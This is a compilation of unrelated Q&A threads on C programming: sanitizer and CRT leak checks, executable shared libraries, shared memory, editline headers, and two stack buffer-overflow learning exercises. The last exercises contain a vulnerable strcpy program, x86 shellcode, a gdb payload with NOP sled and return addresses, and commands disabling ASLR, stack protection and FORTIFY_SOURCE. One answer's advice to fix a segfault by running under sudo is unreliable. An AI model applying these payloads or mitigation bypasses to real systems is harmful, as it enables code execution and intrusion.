I'm having an issue with compiling with both /fsanitize=address and /MDd compiler options.
#ifdef _DEBUG
#define _CRTDBG_MAP_ALLOC
#include <stdlib.h>
#include <crtdbg.h>
#else
#include <stdlib.h>
#endif
#include <stdio.h>
int main(int argc, char **argv) {
_CrtSetReportMode(_CRT_WARN, _CRTDBG_MODE_FILE);
_CrtSetReportFile(_CRT_WARN, _CRTDBG_FILE_STDOUT);
_CrtSetReportMode(_CRT_ERROR, _CRTDBG_MODE_FILE);
_CrtSetReportFile(_CRT_ERROR, _CRTDBG_FILE_STDOUT);
_CrtSetReportMode(_CRT_ASSERT, _CRTDBG_MODE_FILE);
_CrtSetReportFile(_CRT_ASSERT, _CRTDBG_FILE_STDOUT);
int *foo = malloc(sizeof(*foo) * 1024);
printf("%d\n", _CrtDumpMemoryLeaks());
return EXIT_SUCCESS;
}
With cl test.c /MDd /Zi works as expected and reports the leak.
Detected memory leaks!
Dumping objects ->
test.c(20) : {104} normal block at 0x000001ABE8BFA130, 4096 bytes long.
Data: < > CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD
Object dump complete.
1
However, adding address sanitizer, cl test.c /fsanitize=address /MDd /Zi reports no leaks.
0
I had assumed according to MSDN that this might work.
Thank you to the commenter for pointing out that even if they did work together, you'd expect that _CrtDumpMemoryLeaks() would always report a leak because:
The AddressSanitizer runtime doesn't release memory back to the OS during execution. From the OS's point of view, it may look like there's a memory leak. This design decision is intentional, so as not to allocate all the required memory up front.
I still am not quite sure I'm not seeing this behavior though and _CrtDumpMemoryLeaks() is resulting in 0 when /fsanitize=address is enabled.
However, this clears up the issue for me, and I should just expect to create different builds to test either with address sanitizer or _CrtDumpMemoryLeaks().
Related
So everyone probably knows that glibc's /lib/libc.so.6 can be executed in the shell like a normal executable in which cases it prints its version information and exits. This is done via defining an entry point in the .so. For some cases it could be interesting to use this for other projects too. Unfortunately, the low-level entry point you can set by ld's -e option is a bit too low-level: the dynamic loader is not available so you cannot call any proper library functions. glibc for this reason implements the write() system call via a naked system call in this entry point.
My question now is, can anyone think of a nice way how one could bootstrap a full dynamic linker from that entry point so that one could access functions from other .so's?
Update 2: see Andrew G Morgan's slightly more complicated solution which does work for any GLIBC (that solution is also used in libc.so.6 itself (since forever), which is why you can run it as ./libc.so.6 (it prints version info when invoked that way)).
Update 1: this no longer works with newer GLIBC versions:
./a.out: error while loading shared libraries: ./pie.so: cannot dynamically load position-independent executable
Original answer from 2009:
Building your shared library with -pie option appears to give you everything you want:
/* pie.c */
#include <stdio.h>
int foo()
{
printf("in %s %s:%d\n", __func__, __FILE__, __LINE__);
return 42;
}
int main()
{
printf("in %s %s:%d\n", __func__, __FILE__, __LINE__);
return foo();
}
/* main.c */
#include <stdio.h>
extern int foo(void);
int main()
{
printf("in %s %s:%d\n", __func__, __FILE__, __LINE__);
return foo();
}
$ gcc -fPIC -pie -o pie.so pie.c -Wl,-E
$ gcc main.c ./pie.so
$ ./pie.so
in main pie.c:9
in foo pie.c:4
$ ./a.out
in main main.c:6
in foo pie.c:4
$
P.S. glibc implements write(3) via system call because it doesn't have anywhere else to call (it is the lowest level already). This has nothing to do with being able to execute libc.so.6.
I have been looking to add support for this to pam_cap.so, and found this question. As #EmployedRussian notes in a follow-up to their own post, the accepted answer stopped working at some point. It took a while to figure out how to make this work again, so here is a worked example.
This worked example involves 5 files to show how things work with some corresponding tests.
First, consider this trivial program (call it empty.c):
int main(int argc, char **argv) { return 0; }
Compiling it, we can see how it resolves the dynamic symbols on my system as follows:
$ gcc -o empty empty.c
$ objcopy --dump-section .interp=/dev/stdout empty ; echo
/lib64/ld-linux-x86-64.so.2
$ DL_LOADER=/lib64/ld-linux-x86-64.so.2
That last line sets a shell variable for use later.
Here are the two files that build my example shared library:
/* multi.h */
void multi_main(void);
void multi(const char *caller);
and
/* multi.c */
#include <stdio.h>
#include <stdlib.h>
#include "multi.h"
void multi(const char *caller) {
printf("called from %s\n", caller);
}
__attribute__((force_align_arg_pointer))
void multi_main(void) {
multi(__FILE__);
exit(42);
}
const char dl_loader[] __attribute__((section(".interp"))) =
DL_LOADER ;
(Update 2021-11-13: The forced alignment is to help __i386__ code be SSE compatible - without it we get hard to debug glibc SIGSEGV crashes.)
We can compile and run it as follows:
$ gcc -fPIC -shared -o multi.so -DDL_LOADER="\"${DL_LOADER}\"" multi.c -Wl,-e,multi_main
$ ./multi.so
called from multi.c
$ echo $?
42
So, this is a .so that can be executed as a stand alone binary. Next, we validate that it can be loaded as shared object.
/* opener.c */
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv) {
void *handle = dlopen("./multi.so", RTLD_NOW);
if (handle == NULL) {
perror("no multi.so load");
exit(1);
}
void (*multi)(const char *) = dlsym(handle, "multi");
multi(__FILE__);
}
That is we dynamically load the shared-object and run a function from it:
$ gcc -o opener opener.c -ldl
$ ./opener
called from opener.c
Finally, we link against this shared object:
/* main.c */
#include "multi.h"
int main(int argc, char **argv) {
multi(__FILE__);
}
Where we compile and run it as follows:
$ gcc main.c -o main multi.so
$ LD_LIBRARY_PATH=./ ./main
called from main.c
(Note, because multi.so isn't in a standard system library location, we need to override where the runtime looks for the shared object file with the LD_LIBRARY_PATH environment variable.)
I suppose you'd have your ld -e point to an entry point which would then use the dlopen() family of functions to find and bootstrap the rest of the dynamic linker. Of course you'd have to ensure that dlopen() itself was either statically linked or you might have to implement enough of your own linker stub to get at it (using system call interfaces such as mmap() just as libc itself is doing.
None of that sounds "nice" to me. In fact just the thought of reading the glibc sources (and the ld-linux source code, as one example) enough to assess the size of the job sounds pretty hoary to me. It might also be a portability nightmare. There may be major differences between how Linux implements ld-linux and how the linkages are done under OpenSolaris, FreeBSD, and so on. (I don't know).
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/shm.h>
int main()
{
int shmid;
char *viraddr;
char buffer[BUFSIZ];
shmid=shmget(1234,BUFSIZ,0666|IPC_CREAT);
viraddr=(char*)shmat(shmid, 0,0);
while(1)
{
puts("Enter some text:");
fgets(buffer,BUFSIZ,stdin);
strcat(viraddr,buffer);
if(strncmp(buffer,"end",3)==0)
break;
}
shmdt(viraddr);
exit(0);
}
I am learning shared memory.I want to realize the communication between two processes. When I run this program, it always indicates this error -- segmentation fault core dumped. Any help on this? Thanks.
Here both viraddr and buffer have the same size. For strcat() it is recommended dst size to be atleast a byte larger than the src size. viraddr should have enough space to hold buffer data just to avoid buffer overrun.
Perhaps, sometimes the memory allocation returns FFFFF and then throws Segmentation Fault Core Dumped. Reason being you don't have enough rights to access the Memory for your processes.
Simply use sudo to compile and run the code. For instance say you have these files
shm1.c
shm2.c
shm.h
Then your commands need to be fired as following
sudo gcc shm1.c -o s1
sudo gcc shm2.c -o s2
sudo ./s1 &
sudo ./s2
If you are willing to do it on 2 different terminals, just fire sudo ./s1 in terminal1 & sudo ./s2 in different terminal 2
In the book I am reading, Software Exorcism, has this example code for a buffer overflow:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define BUFFER_SIZE 4
void victim(char *str)
{
char buffer[BUFFER_SIZE];
strcpy(buffer,str);
return;
}
void redirected()
{
printf("\tYou've been redirected!\n");
exit(0);
return;
}
void main()
{
char buffer[]=
{
'1','2','3','4',
'5','6','7','8',
'\x0','\x0','\x0','\x0','\x0'
};
void *fptr;
unsigned long *lptr;
printf("buffer = %s\n", buffer);
fptr = redirected;
lptr = (unsigned long*)(&buffer[8]);
*lptr = (unsigned long)fptr;
printf("main()\n");
victim(buffer);
printf("main()\n");
return;
}
I can get this to work in Windows with Visual Studio 2010 by specifying
Basic Runtime Checks -> Uninitialized variables
Buffer Security Check -> No
With those compile options, I get this behavior when running:
buffer = 12345678
main()
You've been redirected!
My question is about the code not working on Linux. Is there any clear reason why it is so?
Some info on what I've tried:
I've tried to run this with 32-bit Ubuntu 12.04 (downloaded from here), with these options:
[09/01/2014 11:46] root#ubuntu:/home/seed# sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
Getting:
[09/01/2014 12:03] seed#ubuntu:~$ gcc -fno-stack-protector -z execstack -o overflow overflow.c
[09/01/2014 12:03] seed#ubuntu:~$ ./overflow
buffer = 12345678
main()
main()
Segmentation fault (core dumped)
And with 64-bit CentOS 6.0, with these options:
[root]# sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[root]# sysctl -w kernel.exec-shield=0
kernel.exec-shield = 0
Getting:
[root]# gcc -fno-stack-protector -z execstack -o overflow overflow.c
[root]# ./overflow
buffer = 12345678
main()
main()
[root]#
Is there something fundamentally different in Linux environment, which would cause the example not working, or am I missing something simple here?
Note: I've been through the related questions such as this one and this one, but haven't been able to find anything that would help on this. I don't think this is a duplicate of previous questions even though there are a lot of them.
Your example overflows the stack, a small and predictable memory layout, in an attempt to modify the return address of the function void victim(), which would then point to void redirected() instead of coming back to main().
It works with Visual. But GCC is a different compiler, and can use some different stack allocation rule, making the exploit fail. C doesn't enforce a strict "stack memory layout", so compilers can make different choices.
A good way to view this hypothesis is to test your code using MinGW (aka GCC for Windows), proving the behavior difference is not related strictly to the OS.
#define BUFFER_SIZE 4
void victim(char *str)
{
char buffer[BUFFER_SIZE];
strcpy(buffer,str);
return;
}
There is another potential problem here if optimizations are enabled. buffer is 12 bytes, and its called as victim(buffer). Then, within victim, you try to copy 12 bytes into a 4 byte buffer with strcpy.
FORTIFY_SOURCES should cause the program to seg fault on the call to strcpy. If the compiler can deduce the destination buffer size (which it should in this case), then the compiler will replace strcpy with a "safer" version that includes the destination buffer size. If the bytes to copy exceeds the destination buffer size, then the "safer" strcpy will call abort().
To turn off FORTIFY_SOURCES, then compile with -U_FORTIFY_SOURCE or -D_FORTIFY_SOURCE=0.
I am working on this tutorial on building your own LISP (http://www.buildyourownlisp.com/chapter4_interactive_prompt) and for some reason when I try to compile I get this:
REPL.c:4:10: fatal error: 'editline/readline.h' file not found
#include <editline/history.h>
^
1 error generated.
I have installed the macOS developer tools, and brew is showing readline is installed and it doesn't know what to do when I try brew install editline.
This is my code:
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <editline/readline.h>
4 #include <editline/history.h>
5
6 int main(int argc, char** argv) {
7
8 /* version/exit info */
9 puts("Edward Version 0.0.1");
10 puts("Press Ctrl+c to Exit\n");
11
12 /* endless loop for main REPL */
13 while (1) {
14 /* output prompt and read line */
15 char* input = readline("lispy> ");
16
17 /* put input in history */
18 add_history(input);
19
20 /* Echo input back */
21 printf("No you're a %s\n", input);
22
23 /* free input */
24 free(input);
25 }
26 return 0;
27 }
It is obviously very basic, but I really want to get this project rolling so I'm hoping I can figure this out. This is what I'm using to compile:
cc -std=c99 -Wall REPL.c -ledit -o REPL
Include only
#include <editline/readline.h>
which should exist if the command line tools are installed. This file contains the
"readline wrapper" for libedit, including the history functions as well.
An include file <editline/history.h> does not exist on OS X.
I tested your code with that modification, and it compiled and ran without problems.
Using OSX Yosemite. I removed #include<editline/history.h>
and then used cc -std=c99 -Wall test.c -ledit -o test
Works fine now
I'm on El Capitan,
Remove #include <editline/history.h>,
and use cc -std=c99 -Wall test.c -ledit -o test works for me.
Add the flag -ledit before the output flad, it's a linking process, allows the compiler to directly embed calls to editline in your program. Or, you'll get the below error message,
Undefined symbols for architecture x86_64:
"_add_history", referenced from:
_main in prompt-086f90.o
"_readline", referenced from:
_main in prompt-086f90.o
ld: symbol(s) not found for architecture x86_64
I'm on Ubuntu 14.04.
try this:
sudo apt-get install libeditline-dev
and include like this:
#include <editline.h>
finally compile like this:
add -leditline in the flag
I hope this can help.
I'm on OSX Mavericks and removing the line worked for me:
#include <editline/history.h>
The solution for those following along on FreeBSD (might work on other Unices as well):
#include <stdio.h>
#include <stdlib.h>
#include <readline/readline.h>
#include <readline/history.h>
...
And run:
$ cc test.c -Wall -std=c99 -lreadline -o test
Without "-lreadline" in the compile step it is not linked in and you will get errors about undefined reference to "readline" function.
I started in on Build your own list and ran into the same problem.
None of the above answers worked for me. After a little research I found out that macOs doesn't have the gnu readline library that provides the readline functions, Different versions of MacOs provide emulation of readline using a library called editline. to begin...
man editline
#include <histedit.h>
Ok, editline gives you some structs for line input and history,
and functions to operate on them. First you have to instantiate these structs. The documentation for editline is not very helpful because it doesn't contain any examples. Apple makes the header file available so that helps a little. http://www.opensource.apple.com/source/libedit/libedit-13/src/histedit.h
I am new to this and it was still pretty confusing to me. there is some version of the source code to libedit available as a debian package. Fortunately someone wiser than I has already dug into it and implemented a command line using lbedit. His code is here: https://www.cs.utah.edu/~bigler/code/libedit.html.
I took Mr Bigler's code, and the code from Build your own list, and put them together to get this.
/* repl-macos.c
* Repl code example from builyourownlisp.com
* Modified by NB aug 2017
* Code example for editline from
* www.cs.utah.edu/~bigler/code/libedit.html
*/
#include <stdio.h>
#include <string.h>
#include <histedit.h>
char* prompt(EditLine *e){
return "lispy> ";
}
int main(int argc, char** argv){
EditLine *el; // Line editor state
History *herstory; // the rest is history
// Temp Variables
int count;
const char *usrin;
int keepreading = 1;
HistEvent ev;
// Initialize the editline state
el = el_init(argv[0], stdin, stdout, stderr);
el_set(el, EL_PROMPT, &prompt);
el_set(el, EL_EDITOR, "emacs");
// Initialize history
herstory = history_init();
if(!herstory){
fprintf(stderr, "Couldn't initialize history\n");
return 1;
}
//set history size
history(herstory, &ev, H_SETSIZE, 800);
// Set up the call back functions for history functionality
el_set(el, EL_HIST, history, herstory);
puts("Begin moLisp interpreter");
puts("Type 'exit' at prompt to exit");
while(keepreading){
usrin = el_gets(el, &count);
// add the command to the history, and echo it back to the user
if(count > 0){
history(herstory, &ev, H_ENTER, usrin);
if(strcmp(usrin, "exit\n"))
printf("No, You're a %s", usrin);
else{
puts("bye");
--keepreading;
}
}
}
// Clean up memory
// by freeing the memory pointed to within the structs that
// libedit has created.
history_end(herstory);
el_end(el);
return 0;
}
Notice: The instantiation of the structs that are used happens outside of
the while loop, and so do the functions that free the memory those structs are using. Because of this, I added the command to exit, otherwise I think there's a memory leak if the only way to exit the while loop is by interrupting the program. To compile:
gcc repl-macos.c -ledit -Wall -o repl-edit
-ledit is needed to link editline
If it has any relevance, I am using macOs 10.4.11
and here's my compiler, output of
gcc --version
powerpc-apple-darwin8-gcc-4.0.0 (GCC) 4.0.0 20041026 (Apple Computer, Inc. build 4061)
Now the only problem with this, and the book points this out, is that
c-code is supposed to be portable and this isn't. The next step would be to add preprocessor directives so that it uses readline on linux and editline on macos.
If you are on ubuntu add the editline library
sudo apt-get install libtedit-dev
On Debian Buster 10, I had to install the package with:
sudo apt install libeditline-dev
Instead of:
#include <editline/readline.h>
#include <editline/history.h>
I just included:
#include <editline.h>
ran the program with -leditline flag and worked perfectly.
I am trying to learn to exploit simple bufferover flow technique on Backtrack Linux.
Here is my C program
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[500];
if(argc==2)
{
strcpy(buffer, argv[1]); //vulnerable function
}
return 0;
}
This is the shellcode I am using, which corresponds to simple /bin/ls
\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80
I inject this shellcode in gdb using following command
run $(python -c 'print "\x90" * 331 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x0c\xd3\xff\xff"*35')
As I step through the application, it generates SIG FAULT on final ret instruction. At that point EIP is correctly set to 0xffffd30c. This address is addressable and contains series of NOP, followed by my shell code as shown in the payload.
I have disabled the ASLR
sudo echo 0 > /proc/sys/kernel/randomize_va_space
and also compiled my binary using fno-stack-protector option.
Any idea what's the cause of SIGSEGV ?
I have answered my own question, the problem was "Executable Stack Protection", where in stack memory cannot be executed. This can be disabled in gcc as follows
gcc -z execstack
Have you disabled stack smashing protection in GCC (-fno-stack-protector)?
How to turn off gcc compiler optimization to enable buffer overflow